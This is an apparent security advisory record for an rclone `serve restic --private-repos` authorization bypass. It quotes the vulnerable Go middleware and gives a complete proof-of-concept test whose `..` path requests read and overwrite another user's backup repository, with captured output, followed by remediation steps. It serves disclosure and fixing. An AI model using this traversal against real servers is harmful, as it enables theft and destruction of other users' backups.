{"id":"CVE-2026-59733","aliases":["GHSA-fqj9-69pf-6pjg"],"title":"rclone `serve restic --private-repos` authorization bypass: `..` in the URL path lets an authenticated user read, overwrite and delete other users' repositories","summary":"rclone `serve restic --private-repos` authorization bypass: `..` in the URL path lets an authenticated user read, overwrite and delete other users' repositories","severity":"high","cvss":8.8,"cwe":["CWE-22","CWE-639"],"vendor":"rclone","product":"github.com/rclone/rclone","ecosystem":"go","affected":["github.com/rclone/rclone <= 1.74.3"],"patched":["github.com/rclone/rclone 1.74.4"],"published":"2026-08-05","updated":"2026-08-05","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-fqj9-69pf-6pjg","references":[{"url":"https://github.com/rclone/rclone/security/advisories/GHSA-fqj9-69pf-6pjg"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59733"},{"url":"https://github.com/rclone/rclone/commit/015fd0eba1cb138eef081517795fed47a2873f2d"},{"url":"https://github.com/rclone/rclone/commit/dade21c1616035b044df0eef7ee6a85aeb06a139"},{"url":"https://github.com/rclone/rclone/releases/tag/v1.74.4"},{"url":"https://github.com/advisories/GHSA-fqj9-69pf-6pjg"}],"tags":["ghsa","go"],"epss":0.00497,"epssPercentile":0.41542,"ingestedAt":"2026-08-05T20:51:27.835Z","slug":"CVE-2026-59733","body":"## Overview\n\n## Summary\n\n`rclone serve restic --private-repos` exists to let one rclone instance host many users' restic backup repositories behind HTTP Basic auth while keeping each user confined to a path prefix of `/<username>/`. The documentation states the flag \"can be used to limit users to repositories starting with a path of `/<username>/`\", and the shipped test `TestResticPrivateRepositories` asserts that user `test` may reach `/test/config` but is `403`-blocked from `/other_user/config`. This isolation is the entire security purpose of the flag.\n\nThe isolation is enforced by two independent chi middlewares that derive the username and the backend object path from two *different* sources, and the path source is never canonicalized. `checkPrivate` authorizes the request by comparing the routed `{userID}` path segment against the authenticated user, while `WithRemote` builds the backend object key from the raw, un-cleaned URL path. A request such as `GET /<me>/../<victim>/config` keeps the first path segment equal to the attacker's own username (so `checkPrivate` returns the request as authorized) yet hands the backend the literal remote `me/../victim/config`. On any backend that resolves object paths with POSIX `path.Join`/`path.Clean` semantics — which includes the bundled `memory` backend used in the PoC below, and the widely deployed `sftp` and `ftp` backends — that `..` segment collapses, and the operation is performed against the victim's object.\n\nBecause the same un-cleaned remote feeds the `GET` (download), `POST` (upload/overwrite) and `DELETE` handlers, any authenticated user can read, overwrite, and delete the files of any other user's private repository hosted on the same server. For restic that means reading another tenant's `config`/`keys` metadata and pack files, corrupting their repository, or deleting their backups outright (subject to `--append-only`, which still permits cross-tenant reads).\n\n## Affected code (v1.74.3, commit `37e4117…`)\n\n`cmd/serve/restic/restic.go`. The two middlewares disagree on what \"the path\" is. `checkPrivate` reads the chi route param `userID`:\n\n```go\n// Middleware to ensure authenticated user is accessing their own private folder\nfunc checkPrivate(next http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tuser := chi.URLParam(r, \"userID\")\n\t\tuserID, ok := libhttp.CtxGetUser(r.Context())\n\t\tif ok && user != \"\" && user == userID {\n\t\t\tnext.ServeHTTP(w, r)\n\t\t} else {\n\t\t\thttp.Error(w, http.StatusText(http.StatusForbidden), http.StatusForbidden)\n\t\t}\n\t})\n}\n```\n\n`WithRemote` builds the backend object key from the raw URL path with **no `path.Clean`** and no `..` rejection (the only transformation is the unrelated `data/xx` sharding rewrite):\n\n```go\nfunc WithRemote(next http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tvar urlpath string\n\t\trctx := chi.RouteContext(r.Context())\n\t\tif rctx != nil && rctx.RoutePath != \"\" {\n\t\t\turlpath = rctx.RoutePath\n\t\t} else {\n\t\t\turlpath = r.URL.Path\n\t\t}\n\t\turlpath = strings.Trim(urlpath, \"/\")\n\t\tparts := matchData.FindStringSubmatch(urlpath)\n\t\t// ... data/2159dd48 -> data/21/2159dd48 sharding only ...\n\t\tctx := context.WithValue(r.Context(), ContextRemoteKey, urlpath)\n\t\tnext.ServeHTTP(w, r.WithContext(ctx))\n\t})\n}\n```\n\nRoute wiring (`Bind`): the auth-bearing `{userID}` segment is matched by chi for `checkPrivate`, but the catch-all `/*` that `WithRemote` reads keeps the literal `..`:\n\n```go\nif s.opt.PrivateRepos {\n\trouter.Route(\"/{userID}\", func(r chi.Router) {\n\t\tr.Use(checkPrivate)\n\t\ts.bind(r)\n\t})\n\t...\n}\n```\n\nThe remote stored by `WithRemote` is then used verbatim by the object handlers, e.g. `serveObject` → `s.newObject(ctx, remote)` → `s.f.NewObject(ctx, remote)`, `postObject` → `operations.RcatSize(..., remote, ...)`, and `deleteObject` → `o.Remove(...)`. For a request `GET /test/../victim/config`, instrumentation shows `checkPrivate` observing `userIDparam=\"test\"` (authorized) while the object remote is `\"test/../victim/config\"` — the desync is exact.\n\n## Attacker model / precondition\n\nThe attacker is a low-privileged but **legitimately authenticated** user of the server: they hold valid HTTP Basic credentials for their own private repo (this is the normal multi-tenant deployment the flag is designed for — e.g. a hosting provider giving each customer a restic endpoint). No victim interaction is required.\n\nPreconditions: (1) the operator runs `rclone serve restic` with `--private-repos` and authentication configured (the documented multi-tenant setup); and (2) the served backend resolves object paths with POSIX `path.Join`/`path.Clean` semantics so the `..` collapses before the object is located. This holds for the bundled `memory` backend (used in the self-contained PoC), and for the commonly deployed `sftp` and `ftp` backends, whose object path is computed as `path.Join(f.absRoot, remote)` (`backend/sftp/sftp.go`, `o.path()`), which canonicalizes `..`. It does **not** hold for the `local` backend (which deliberately re-encodes `.`/`..` path components to fullwidth characters in `cleanRootPath`/`localPath`, neutralizing traversal), and S3-style backends treat keys as opaque so a literal `..` key normally will not match a victim object — so impact is backend-dependent. That backend-dependence is itself the defect: the cross-user authorization boundary must be enforced at the HTTP layer and must not silently rely on a particular backend's incidental path handling.\n\n## Impact\n\nAcross the per-user trust boundary that `--private-repos` is meant to enforce, any authenticated user can, against any other user's repository on the same server:\n\n- **Read** (`GET`): download the victim's restic `config` and `keys/*` files and pack/index objects — full confidentiality break of the victim's repository metadata and stored blobs. (Restic encrypts pack contents client-side, but the repository config, key files, snapshot/index structure and object existence all leak, and the master key is recoverable offline by anyone who also knows the victim's restic password — i.e. this removes the server-side isolation that was the only barrier.)\n- **Overwrite** (`POST`): replace the victim's objects with attacker-chosen content, corrupting or poisoning their backups. Blocked only if `--append-only` is set.\n- **Delete** (`DELETE`): remove the victim's repository objects, destroying their backups. Blocked only if `--append-only` is set (which still allows the read primitive).\n\nThis is a complete bypass of the multi-tenant isolation control, hence C:H/I:H/A:H, gated to PR:L by the need for a valid own-account.\n\n## Proof of Concept (complete — runs on 127.0.0.1 only)\n\nLab-only. This is a single self-contained Go test placed inside the rclone source tree; it starts an in-process restic server on a loopback `httptest` listener backed by the bundled in-memory backend (which has the same `path.Join` key semantics as the sftp/ftp backends), then sends **raw**, un-normalized HTTP request-targets over a TCP socket (so the `..` is not collapsed client-side). It proves: (1) a user reads their own object — `200`; (2) a direct cross-tenant request is correctly blocked — `403`; (3) the `..` bypass reads the victim's secret — `200` + leak; (4) the same bypass overwrites the victim's object — `200`.\n\nReproduce against the exact vulnerable tag:\n\n```console\ngit clone --depth 1 --branch v1.74.3 https://github.com/rclone/rclone\ncd rclone\n# write the test file shown below to cmd/serve/restic/zzz_poc_test.go\ngo test ./cmd/serve/restic/ -run TestPrivateRepoCrossTenantPoC -v\n```\n\n`cmd/serve/restic/zzz_poc_test.go`:\n\n```go\npackage restic\n\nimport (\n\t\"bufio\"\n\t\"context\"\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/rclone/rclone/fs\"\n\t\"github.com/rclone/rclone/fs/config/configfile\"\n\t\"github.com/rclone/rclone/fs/object\"\n\t\"github.com/rclone/rclone/lib/random\"\n\t\"github.com/stretchr/testify/require\"\n\n\t_ \"github.com/rclone/rclone/backend/memory\"\n)\n\nfunc pocBasicAuth(user, pass string) string {\n\treturn base64.StdEncoding.EncodeToString([]byte(user + \":\" + pass))\n}\n\n// rawReq sends a raw HTTP/1.1 request with an arbitrary (un-normalized)\n// request-target + method + Basic auth, returning the full raw response.\nfunc rawReq(t *testing.T, addr, method, target, user, pass string) string {\n\tconn, err := net.Dial(\"tcp\", addr)\n\trequire.NoError(t, err)\n\tdefer func() { _ = conn.Close() }()\n\tcred := pocBasicAuth(user, pass)\n\treq := fmt.Sprintf(\"%s %s HTTP/1.1\\r\\nHost: x\\r\\nAuthorization: Basic %s\\r\\nConnection: close\\r\\n\\r\\n\", method, target, cred)\n\t_, err = conn.Write([]byte(req))\n\trequire.NoError(t, err)\n\tr := bufio.NewReader(conn)\n\tvar sb strings.Builder\n\tbuf := make([]byte, 8192)\n\tfor {\n\t\tn, err := r.Read(buf)\n\t\tif n > 0 {\n\t\t\tsb.Write(buf[:n])\n\t\t}\n\t\tif err != nil {\n\t\t\tbreak\n\t\t}\n\t}\n\treturn sb.String()\n}\n\nfunc pocBody(resp string) string {\n\tif idx := strings.Index(resp, \"\\r\\n\\r\\n\"); idx >= 0 {\n\t\treturn resp[idx+4:]\n\t}\n\treturn \"\"\n}\nfunc pocStatus(resp string) string { return strings.SplitN(resp, \"\\r\\n\", 2)[0] }\n\n// TestPrivateRepoCrossTenantPoC demonstrates the --private-repos authz bypass\n// on a bucket-style backend (memory: same path.Join semantics as sftp/ftp).\nfunc TestPrivateRepoCrossTenantPoC(t *testing.T) {\n\tconfigfile.Install()\n\tctx := context.Background()\n\n\t// Bucket-style backend shared by all private-repo users.\n\tf, err := fs.NewFs(ctx, \":memory:repos\")\n\trequire.NoError(t, err)\n\n\tput := func(remote, content string) {\n\t\tinfo := object.NewStaticObjectInfo(remote, time.Now(), int64(len(content)), true, nil, f)\n\t\t_, perr := f.Put(ctx, strings.NewReader(content), info)\n\t\trequire.NoError(t, perr)\n\t}\n\n\t// Victim \"alice\" uploads her restic config under her own private prefix.\n\tsecret := \"ALICE-PRIVATE-RESTIC-CONFIG-\" + random.String(8)\n\tput(\"alice/config\", secret)\n\n\t// Attacker \"mallory\" has her own valid account on the same server.\n\tput(\"mallory/config\", \"mallory-own-config\")\n\n\topt := newOpt()\n\topt.PrivateRepos = true\n\topt.Auth.BasicUser = \"mallory\"\n\topt.Auth.BasicPass = \"password\"\n\topt.HTTP.ListenAddr = nil\n\n\ts, err := newServer(ctx, f, &opt)\n\trequire.NoError(t, err)\n\tts := httptest.NewServer(s.server.Router())\n\tdefer ts.Close()\n\taddr := strings.TrimPrefix(ts.URL, \"http://\")\n\n\t// 1. Sanity: mallory reads her own config -> 200.\n\tr1 := rawReq(t, addr, \"GET\", \"/mallory/config\", \"mallory\", \"password\")\n\tt.Logf(\"[own]            GET /mallory/config              -> %s  body=%q\", pocStatus(r1), pocBody(r1))\n\n\t// 2. Direct cross-tenant attempt is correctly blocked by checkPrivate -> 403.\n\tr2 := rawReq(t, addr, \"GET\", \"/alice/config\", \"mallory\", \"password\")\n\tt.Logf(\"[direct-blocked] GET /alice/config               -> %s  body=%q\", pocStatus(r2), pocBody(r2))\n\n\t// 3. THE BYPASS: dot-dot in the trailing path keeps userID==mallory so\n\t//    checkPrivate passes, but the object remote collapses to alice/config.\n\tr3 := rawReq(t, addr, \"GET\", \"/mallory/../alice/config\", \"mallory\", \"password\")\n\tleaked := strings.Contains(pocBody(r3), secret)\n\tt.Logf(\"[BYPASS]         GET /mallory/../alice/config     -> %s  leaked=%v body=%q\", pocStatus(r3), leaked, pocBody(r3))\n\n\trequire.Equalf(t, \"HTTP/1.1 200 OK\", pocStatus(r3), \"expected the bypass to return alice's object\")\n\trequire.Truef(t, leaked, \"expected to read alice's secret config across the tenant boundary\")\n\n\t// 4. Write bypass too: mallory overwrites alice's object (append-only off).\n\tr4 := rawReq(t, addr, \"POST\", \"/mallory/../alice/config\", \"mallory\", \"password\")\n\tt.Logf(\"[BYPASS-write]   POST /mallory/../alice/config    -> %s\", pocStatus(r4))\n}\n```\n\nObserved output (v1.74.3 and master HEAD):\n\n```text\n=== RUN   TestPrivateRepoCrossTenantPoC\n    zzz_poc_test.go: [own]            GET /mallory/config              -> HTTP/1.1 200 OK  body=\"mallory-own-config\"\n    zzz_poc_test.go: [direct-blocked] GET /alice/config               -> HTTP/1.1 403 Forbidden  body=\"Forbidden\\n\"\n    zzz_poc_test.go: [BYPASS]         GET /mallory/../alice/config     -> HTTP/1.1 200 OK  leaked=true body=\"ALICE-PRIVATE-RESTIC-CONFIG-sijejif0\"\n    zzz_poc_test.go: [BYPASS-write]   POST /mallory/../alice/config    -> HTTP/1.1 200 OK\n--- PASS: TestPrivateRepoCrossTenantPoC (0.00s)\nPASS\nok  \tgithub.com/rclone/rclone/cmd/serve/restic\t0.022s\n```\n\nThe shipped `TestResticPrivateRepositories` continues to pass alongside this PoC, confirming the intended isolation model (own `200`, direct cross-tenant `403`) is exactly what the `..` request defeats. Note the bypass is delivered as a raw request-target over the socket; a stock browser or `net/http` client would canonicalize the `..` before sending, but `curl --path-as-is`, restic's own REST client, or any raw socket write preserves it.\n\n## Remediation\n\nEnforce the per-user boundary on a canonicalized path, and make the authorized segment and the backend remote derive from the *same* cleaned value:\n\n- In `WithRemote` (or before `checkPrivate` runs), reject or `path.Clean` the request path and refuse any path containing a `..` element after a leading-slash trim — e.g. compute `cleaned := path.Clean(\"/\" + strings.Trim(urlpath, \"/\"))` and `403`/`400` if `cleaned` differs from the original or still contains a `..` segment. Then store `cleaned` (minus the leading slash) as the remote so the object key and the authorization decision are computed from one source of truth.\n- Additionally, in `checkPrivate`, verify that the (cleaned) object remote actually has the authenticated user's name as its first path segment, rather than trusting the chi `{userID}` route param in isolation: `require strings.HasPrefix(cleanedRemote, userID+\"/\") || cleanedRemote == userID`.\n- Defense in depth: the restic server should canonicalize and `..`-reject incoming object paths even when `--private-repos` is off, so that no backend is relied upon to neutralize traversal.\n\nPlease credit 5ud0 / Tarmo Technologies.\n\n## Affected packages\n\n- `github.com/rclone/rclone <= 1.74.3`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `github.com/rclone/rclone 1.74.4`","depth":"twilight","depthScore":48,"depthScoreParts":{"impact":48.4,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}